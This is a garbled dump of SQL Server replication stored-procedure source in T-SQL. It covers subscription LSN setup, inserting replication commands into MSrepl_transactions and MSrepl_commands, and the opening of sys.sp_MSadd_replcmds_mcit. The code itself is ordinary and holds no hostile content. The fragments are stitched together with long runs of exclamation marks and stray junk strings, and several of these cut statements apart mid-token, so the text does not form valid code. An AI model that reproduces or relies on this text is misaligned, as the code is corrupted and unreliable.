!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ia(v
in select @retcode=1 goto Failure end    

    select @hasbeforetransactions = 
      case when exists (select * from dbo.MSrepl_transactions rt 
                        inner join dbo.MSrepl_commands rc
                           on rt.xact_seqno = rc.xact_seqno -- Make sure that we have commands assoiciated with the transaction
                          and rt.publisher_database_id = rc.publisher_database_id
                         where rt.publisher_database_id = @publisher_database_id
                           and rt.xact_seqno < @subscriptionlsn
                           and rt.xact_id <> 0x000000000000) then 1
           else 0
      end -- case
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    

    select top 1 @transactionentrytime = entry_time 
      from MSrepl_transactions 
     where publisher_database_id = @publisher_database_id 
       and xact_seqno >= @subscriptionlsn 
       and xact_id <> 0x000000000000 order by xact_seqno asc
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    

    -- If @hasbeforetransactions = 0 and @transactionentrytime is not null, 
    -- the given subscription LSN is probably too old, raise different
    -- error messages depending on the source of the lsn.

    -- Don't raise error for "old" 'replication support only' subscriptions
    if @hasbeforetransactions = 0 and @transactionentrytime is not null and @lsnsource <> 0 
    begin
        if @lsnsource = 2
        begin
            -- we need a new lsn to use ...
            
            --lets not join with MSrepl_commands table, it's possible for cleanup to have cleaned all commands but oldest tran should remain in MSrepl_transactions
            --if we take currentLSN in this case we'd miss any command which happend after peer_lsn (see VSTS# 85182)
            select @subscriptionlsn = min(rt.xact_seqno)
                from dbo.MSrepl_transactions rt
                  where rt.publisher_database_id = @publisher_database_id
                    and rt.xact_id <> 0x000000000000

            if @subscriptionlsn is not null
            begin
                -- upper 16 bits
                select @lsn_low = convert(varbinary(8), SUBSTRING(@subscriptionlsn,3,8))
                -- lower 64 bits 
                select @lsn_high = convert(varbinary(2), SUBSTRING(@subscriptionlsn,1,2))
        
                select @lsn_low = cast(cast(@lsn_low as bigint) - 1 as binary(8))
            
                -- Check for underflow
                --  if the lower bits are -1, then we need to subtract from the high bits
                if (@lsn_low = 0xFFFFFFFFFFFFFFFF)
	                select @lsn_high = cast(cast(@lsn_high as smallint) - 1 as binary(2))
            
                -- Concat the two LSNs
                select @subscriptionlsn = @lsn_high + @lsn_low
            end
            else
            begin
                select @subscriptionlsn = @next_valid_lsn
            end
        end
        else
        begin
            raiserror(21397, 16, -1)
        
            select @retcode = 1
            goto Failure
        end
    end
    
    --
    -- At this point, the given lsn is assumed to be valid, i.e. we will
    -- not lose any transactions if it is used as the publisher seqno
    -- of the susbcription. This actually encompasses the following
    -- three cases:
    --  i) There is no transaction for the specified publisher database 
    --     either because the logreader hasn't been run or there simply 
    --     aren't any replicated transactions at the Publisher. Note that
    --     the Publisher-side lsn validation logic is supposed to ensure that 
    --     all article objects in the publication are activated prior to 
    --     the given lsn. 
    --     (Addendum: For sync-with-backup support, the distribution
    --     cleanup logic has been modified to leave at least one transaction
    --     (snapshot or transaction) in MSrepl_transactions for each 
    --     publisher database although the commands associated with the 
    --     remaining transaction(s) may have been removed. This ensures that
    --     if there are not any transactions in MSrepl_transactions for
    --     a given publisher database, either the Logreader for the 
    --     publisher database has not been run yet or there has not been
    --     any replicated transactions from the publisher database.) 
    --  ii) There are existing transactions before the given lsn but there
    --      is no transaction following the given lsn.  
    --  iii) There are transactions before and after the subscription lsn.
    --

    --
    -- Choosing the right entry_time for the nosync "snapshot" transaction:
    -- In cases i) and ii) above, the current datetime will be used as the 
    -- entry time of the nosync "snapshot" transaction that we are about to 
    -- insert into MSrepl_transactions. Any further transactions that are 
    -- inserted by the logreader or other sources will have an entry time > 
    -- than the entry time of this nosync "snapshot" transaction including 
    -- those that are logically committed after the nosync lsn. It is, 
    -- however, possible that a transaction with an lsn less than the nosync 
    -- lsn will be inserted after the nosync "snapshot" transaction. The worse
    -- that can happen with this odd scenario is that the "nosync" snapshot
    -- transaction may be cleaned up before some of the (not needed) 
    -- regular transactions with smaller lsns which is totally harmless.  
    -- For case iii), the entry_time of the minimum transaction greater than
    -- or equal to the nosync lsn is used. This will preserve the 
    -- monotonicity of entry time wrt xact_seqno in MSrepl_transactions 
    --

    if @transactionentrytime is null
        select @transactionentrytime = getdate()

    -- Get a uniquefying tag for the nosync subscription seqno, 
    -- this is simply the max tag in MSrepl_transactions + 1
    select @subscriptionlsntag = 
            max(convert(binary(4), substring(xact_seqno,11,4))) + 1
      from dbo.MSrepl_transactions
     where substring(xact_seqno, 1, 10) = @subscriptionlsn 
       -- Note: @publisher_database_id comes from an identity column in 
       -- MSpublisher_databases so it is unique enough for our purpose here
       and publisher_database_id = @publisher_database_id  
       and xact_id = 0x000000000000

    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    
    -- Boundary condition, @subscriptionlsn is currently unused in 
    -- dbo.MSsubscriptions 
    if @subscriptionlsntag is null
        select @subscriptionlsntag = 1
    -- Insert the nosync "snapshot" transaction into MSrepl_transactions
    
    select @nosyncsubscriptionseqno = @subscriptionlsn + 
                                      convert(binary(4), @subscriptionlsntag)
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    

    insert dbo.MSrepl_transactions 
        (publisher_database_id, xact_id, xact_seqno, entry_time) 
    values 
        (@publisher_database_id, 0x000000000000, @nosyncsubscriptionseqno,
         @transactionentrytime)
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    

    -- Activate subscriptions in dbo.MSsubscriptions with @subscriptionlsn
    -- as the publisher_seqno and @nosyncsubscriptionseqno as the
    -- subscription_seqno & ss_cplt_seqno 
    update dbo.MSsubscriptions
       set status = @active,
           subscription_seqno = @nosyncsubscriptionseqno,
           snapshot_seqno_flag = 1,
           publisher_seqno = @subscriptionlsn,
           ss_cplt_seqno = @nosyncsubscriptionseqno,
           nosync_type = @lsnsource + 1
     where publisher_database_id = @publisher_database_id
       and publisher_id = @publisherid
       and!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<o#/
 publisher_db = @publisher_db -- Extra insurance
       and publication_id = @publication_id
       and subscriber_id = @subscriberid
       and subscriber_db = @destination_db
       and (@article = N'all' or article_id = @minartid)
                    
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        
    -- Setup the snapshot commands in dbo.MSrepl_commands
	
    if @minartid is null
    begin
        -- Obtain the min article id in the subscription for setting
        -- up snapshot commands in MSrepl_commands
        select @minartid = min(article_id)
          from dbo.MSsubscriptions
         where publisher_database_id = @publisher_database_id
           and publisher_id = @publisherid
           and publisher_db = @publisher_db
           and publication_id = @publication_id
           and subscriber_id = @subscriberid
           and subscriber_db = @destination_db
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    end

    select @command_id = 1

    declare @current_nosync_script_offset bigint,
            @chunk_size bigint
    select @chunk_size = 512, -- Unicode characters
           @current_nosync_script_offset = 1
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    

    set @command = substring(@nosync_setup_script, @current_nosync_script_offset, @chunk_size)

    while len(@command) > 0
    begin
        insert dbo.MSrepl_commands 
            (publisher_database_id, xact_seqno, type, article_id, 
             originator_id, command_id, partial_command, command)
        values
            (@publisher_database_id, @nosyncsubscriptionseqno, 
            @snapshot_bit | 104, @minartid, 0, @command_id, 1, 
            convert(varbinary(1024), @command))
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        set @command_id = @command_id + 1
        set @current_nosync_script_offset = @current_nosync_script_offset + @chunk_size
        set @command = substring(@nosync_setup_script, @current_nosync_script_offset, @chunk_size)
    end

    if @nosync_setup_script <> N''
    begin
    	     -- insert an empty command to finish it    
	    insert dbo.MSrepl_commands 
	        (publisher_database_id, xact_seqno, type, article_id, 
		     originator_id, command_id, partial_command, command)
		values
		    (@publisher_database_id, @nosyncsubscriptionseqno, 
		     @snapshot_bit | 104, @minartid, 0, @command_id, 0, 
		     convert(varbinary(1024), N''))
	    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    end
	-- add the sql_cmds for p2p meta-data outside of the snapshot
    if @originator_publication_id is not NULL
    	and @originator_db_version is not NULL
    	and isnull(ltrim(@originator_meta_data), N'') <> N''
    begin
		-- when posting the nvarchar(max) for p2p meta-data we have to 
    	-- make sure that we break it up into varbinary(1024) pieces...
    	declare @originator_id	int,
    			@xact_seqno		varbinary(16),
    			@originator_lsn	varbinary(16),
    			@index			bigint
    			
		-- check if the originator already exists. if so then use the id
		-- if not then we insert the originator into msrepl_originators
		select @originator_id = id 
	    	from MSrepl_originators with (readpast)
	    	where publisher_database_id = @publisher_database_id 
	            and UPPER(srvname) = UPPER(@publisher)
	            and dbname = @publisher_db
	            and publication_id = @originator_publication_id
	            and dbversion = @originator_db_version
	    if @originator_id is null
	    begin
	        insert into MSrepl_originators (publisher_database_id, srvname, dbname, publication_id, dbversion) 
	        	values (@publisher_database_id, @publisher, @publisher_db, @originator_publication_id, @originator_db_version)
	        	
	        select @originator_id = @@identity
	    end

		-- here we increase the lsn we used for the snapshot by 1 
    	select @xact_seqno 		= substring(@nosyncsubscriptionseqno, 1, 10) + convert(varbinary(4), substring(@nosyncsubscriptionseqno, 11, 4) + 1 ),
    			@originator_lsn	= substring(@nosyncsubscriptionseqno, 1, 10), -- + convert(varbinary(4), substring(@nosyncsubscriptionseqno, 11, 4) + 1 ),
    			@index 			= 1,
    			@command 		= substring(@originator_meta_data, @index, 512),
    			@command_id 	= 1 

 		-- insert the transaction information first
    	insert dbo.MSrepl_transactions (publisher_database_id, xact_id, xact_seqno, entry_time) 
    		values (@publisher_database_id, 0x000000000000, @xact_seqno, @transactionentrytime)
    	if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end  

    	-- now insert the actual commands
    	while len(@command) > 0 
    	begin
	        insert dbo.MSrepl_commands 
	            (publisher_database_id, xact_seqno, type, article_id, 
	             originator_id, command_id, partial_command, command,
	             originator_lsn)
	        values
	            (@publisher_database_id, @xact_seqno, 
	             1, @minartid, @originator_id, @command_id, 1, 
	             convert(varbinary(1024), @command),
	             @originator_lsn)
	        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

	        select @command_id 	= @command_id + 1,
		       		@index 		= @index + len(@command),
					@command 	= substring(@originator_meta_data, @index, 512)
			if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
		end

		-- insert an empty command to finish it
		insert dbo.MSrepl_commands 
	            (publisher_database_id, xact_seqno, type, article_id, 
	             originator_id, command_id, partial_command, command,
	             originator_lsn)
	        values
	            (@publisher_database_id, @xact_seqno, 
	             1, @minartid, @originator_id, @command_id, 0, 
	             convert(varbinary(1024), N''),
	             @originator_lsn)
	   	if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    end
    
    -- Release application lock
    exec @retcode = sys.sp_releaseapplock @Resource = @lockresource, 
                                          @LockOwner = 'Transaction',
                                          @DbPrincipal = N'db_owner'
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    select @acquiredapplicationlock = 0

    commit transaction
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    select @transactionopened = 0

Failure:

    if @acquiredapplicationlock = 1
    begin
        -- Ignore errors, nothing can be done at this point if the following
        -- fails
        exec sys.sp_releaseapplock @Resource = @lockresource, 
                                   @LockOwner = 'Transaction',
                                   @DbPrincipal = N'db_owner' 
    end

    if @transactionopened = 1
    begin
        rollback transaction sp_MSsetupnosyncsubwithlsnatdist
        commit transaction
    end 

    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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,1)), 
			substring(@19data,40,@cmd_data_len) )
    end


    IF @20data is null
      return
    IF datalength( @20data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @20data, 34, 2 )
        select @orig_srv_len = substring( @20data, 36, 2 )
        select @orig_db_len = substring( @20data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @20data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @20data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @20data, 40 + @cmd_data_len, @orig_srv_len ), substring( @20data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@20data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@20data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @20seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@20seqno,
			@cmd_type, 
			substring(@20data,21 ,4), 
			@originator_id, 
			substring(@20data,25 ,4), 
			convert(bit,substring(@20data,33 ,1)), 
			substring(@20data,40,@cmd_data_len) )
    end

    IF @21data is null
      return
    IF datalength( @21data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @21data, 34, 2 )
        select @orig_srv_len = substring( @21data, 36, 2 )
        select @orig_db_len = substring( @21data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @21data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @21data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @21data, 40 + @cmd_data_len, @orig_srv_len ), substring( @21data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@21data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@21data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @21seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@21seqno,
			@cmd_type, 
			substring(@21data,21 ,4), 
			@originator_id, 
			substring(@21data,25 ,4), 
			convert(bit,substring(@21data,33 ,1)), 
			substring(@21data,40,@cmd_data_len) )
    end

    IF @22data is null
      return
    IF datalength( @22data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @22data, 34, 2 )
        select @orig_srv_len = substring( @22data, 36, 2 )
        select @orig_db_len = substring( @22data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @22data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @22data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @22data, 40 + @cmd_data_len, @orig_srv_len ), substring( @22data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@22data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@22data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @22seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@22seqno,
			@cmd_type, 
			substring(@22data,21 ,4), 
			@originator_id, 
			substring(@22data,25 ,4), 
			convert(bit,substring(@22data,33 ,1)), 
			substring(@22data,40,@cmd_data_len) )
    end

    IF @23data is null
      return
    IF datalength( @23data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @23data, 34, 2 )
        select @orig_srv_len = substring( @23data, 36, 2 )
        select @orig_db_len = substring( @23data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @23data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @23data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @23data, 40 + @cmd_data_len, @orig_srv_len ), substring( @23data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@23data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@23data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @23seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@23seqno,
			@cmd_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<82uftype, 
			substring(@23data,21 ,4), 
			@originator_id, 
			substring(@23data,25 ,4), 
			convert(bit,substring(@23data,33 ,1)), 
			substring(@23data,40,@cmd_data_len) )
    end

    IF @24data is null
      return
    IF datalength( @24data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @24data, 34, 2 )
        select @orig_srv_len = substring( @24data, 36, 2 )
        select @orig_db_len = substring( @24data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @24data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @24data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @24data, 40 + @cmd_data_len, @orig_srv_len ), substring( @24data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@24data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@24data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @24seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@24seqno,
			@cmd_type, 
			substring(@24data,21 ,4), 
			@originator_id, 
			substring(@24data,25 ,4), 
			convert(bit,substring(@24data,33 ,1)), 
			substring(@24data,40,@cmd_data_len) )
    end


    IF @25data is null
      return
    IF datalength( @25data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @25data, 34, 2 )
        select @orig_srv_len = substring( @25data, 36, 2 )
        select @orig_db_len = substring( @25data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @25data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @25data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @25data, 40 + @cmd_data_len, @orig_srv_len ), substring( @25data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@25data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@25data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @25seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@25seqno,
			@cmd_type, 
			substring(@25data,21 ,4), 
			@originator_id, 
			substring(@25data,25 ,4), 
			convert(bit,substring(@25data,33 ,1)), 
			substring(@25data,40,@cmd_data_len) )
    end


    IF @26data is null
      return
    IF datalength( @26data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @26data, 34, 2 )
        select @orig_srv_len = substring( @26data, 36, 2 )
        select @orig_db_len = substring( @26data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @26data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @26data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @26data, 40 + @cmd_data_len, @orig_srv_len ), substring( @26data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@26data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@26data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @26seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@26seqno,
			@cmd_type, 
			substring(@26data,21 ,4), 
			@originator_id, 
			substring(@26data,25 ,4), 
			convert(bit,substring(@26data,33 ,1)), 
			substring(@26data,40,@cmd_data_len) )
    end


    IF @@ERROR <> 0
      return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(v&5CREATE PROCEDURE sys.sp_MSadd_replcmds_mcit
@publisher_database_id int,
@publisher_id smallint,
@publisher_db sysname,
@data varbinary( 1595 ),
@1data varbinary(1595) = NULL,
@2data varbinary(1595) = NULL,
@3data varbinary(1595) = NULL,
@4data varbinary(1595) = NULL,
@5data varbinary(1595) = NULL,
@6data varbinary(1595) = NULL,
@7data varbinary(1595) = NULL,
@8data varbinary(1595) = NULL,
@9data varbinary(1595) = NULL,
@10data varbinary(1595) = NULL,
@11data varbinary(1595) = NULL,
@12data varbinary(1595) = NULL,
@13data varbinary(1595) = NULL,
@14data varbinary(1595) = NULL,
@15data varbinary(1595) = NULL,
@16data varbinary(1595) = NULL,
@17data varbinary(1595) = NULL,
@18data varbinary(1595) = NULL,
@19data varbinary(1595) = NULL,
@20data varbinary(1595) = NULL,
@21data varbinary(1595) = NULL,
@22data varbinary(1595) = NULL,
@23data varbinary(1595) = NULL,
@24data varbinary(1595) = NULL,
@25data varbinary(1595) = NULL,
@26data varbinary(1595) = NULL
AS

    SET NOCOUNT ON

    DECLARE @maxOffset  binary(4)
    		,@maxSeqNo  varbinary(16)
    		,@date datetime
    		,@x int
    		,@tempdata varbinary(1595)
    		,@prevdata varbinary(1595)

	DECLARE @xactId			varbinary(16),
			@xactSeqNo		varbinary(16),
			@artId			int,
			@cmdId			int,
			@cmdType		int,
			@fIncomplete	bit,
			@cmdLen			int,
			@originator_id	int,
			@origSrvLen		int,
			@origDbLen		int,
			@hashKey		int,
			-- @origPublId		int,
			-- @origDbVersion	int,
			-- @origLSN		varbinary(10),
			@cmdText		varbinary(1595),
			@originator		sysname,
			@originatorDb	sysname,
			@originalXactSeqNo varbinary(10)

	--
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	select @date 		= GETDATE(),
			@maxOffset 	= 0,
			@xactSeqNo 	= substring( @data, 11, 10 ),
			@cmdId		= substring( @data, 25, 4)

	select @originalXactSeqNo = @xactSeqNo

    -- Look for the first insert into MS_repl_transactions
   	select @maxSeqNo = max(xact_seqno) 
   		from MSrepl_transactions 
		where publisher_database_id = @publisher_database_id 

	-- hotfix#844587, if the current xactSeqNo is less than the maxSeqNo,
	-- it could be snapshot agent inserts records while the splitting on going.
	-- So we need to find the our own xact_seqno.
	-- 
	if @xactSeqNo < substring( @maxSeqNo, 1, 10 )
	begin
		-- find the largest xact_seqno for the MaxCmdsInTran LSN
		select @maxSeqNo = max(xact_seqno) 
			from MSrepl_transactions 
			where publisher_database_id = @publisher_database_id 
			and xact_seqno >= @xactSeqNo
			and substring( xact_seqno, 1, 10 ) = @xactSeqNo
	end

	 -- Check if it is the same transaction
	if @xactSeqNo = substring( @maxSeqNo, 1, 10 )
	begin
		IF @cmdId = 1 
			select @maxOffset = substring(@maxSeqNo, 11, 4) + 1
		else
			select @maxOffset = substring(@maxSeqNo, 11, 4)
			
		if (@maxOffset > 0)
			select @xactSeqNo = @xactSeqNo + @maxOffset
	end

	if @maxOffset is NULL
		select @maxOffset = 0
		
	select @maxOffset = @maxOffset + 1

	select @x = 0
	select @tempdata = @data
	while @x <= 26
	begin
		select @prevdata = @tempdata	
		select @tempdata = CASE @x
			when 0 then @data
			when 1 then @1data
			when 2 then @2data
			when 3 then @3data
			when 4 then @4data
			when 5 then @5data
			when 6 then @6data
			when 7 then @7data
			when 8 then @8data
